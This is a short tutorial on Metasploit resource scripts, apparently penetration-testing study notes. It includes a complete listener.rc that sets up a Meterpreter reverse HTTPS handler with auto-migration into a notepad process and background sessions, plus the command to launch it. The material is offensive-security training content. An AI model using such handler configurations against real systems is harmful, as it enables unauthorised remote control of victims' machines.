Resource Scripts

We can automate repetitive steps in metasploit by creating resource scripts. Resource scripts can chain together a series of Metasploit console commands and Ruby code. Meaning, we can either use the built-in commands of Metasploit or write code in *Ruby* as it's the language Metasploit is developed in) to manage control flow as well as develop advanced logic components for resource scripts.

- Lets Create a simple resource script named **listener.rc**.

```
# Initiated the multi handler

use exploit/multi/handler

# Set the payload type
set PAYLOAD windows/meterpreter_reverse_https

# Set LHOST and LPORT

set LHOST 192.168.45.185
set LPORT 5555

# Execute a post exploitation module migrate. This will spawn a notepad
process and migrate to it.

set AutoRunScript post/windows/manage/migrate

# The session will not be terminated after we got one. That means, we can
get multiple sessions in the background.

set ExitOnSession false

# run sessions in the backgrond.

run -z -j
```

- Next we can start metasploit specifying the resource script.

```
sudo msfconsole -r listener.rc
```

- Once the payload is executed on the target system, we will get a shell automatically executing all the specified options in the resource script.
- We can also use built-in resource scripts provided by metasploit. Some of these scripts use the global datastore of Metasploit to set options such as *RHOSTS*. When we use *set* or *unset*, we define options in the context of a running module. However, we can also define values for options across all modules by setting *global options*. These options can be set with *setg* and unset with *unsetg*.

```
ls -l /usr/share/metasploit-framework/scripts/resource

ls -l /opt/metasploit-framework/embedded/framework/scripts/resource/
```
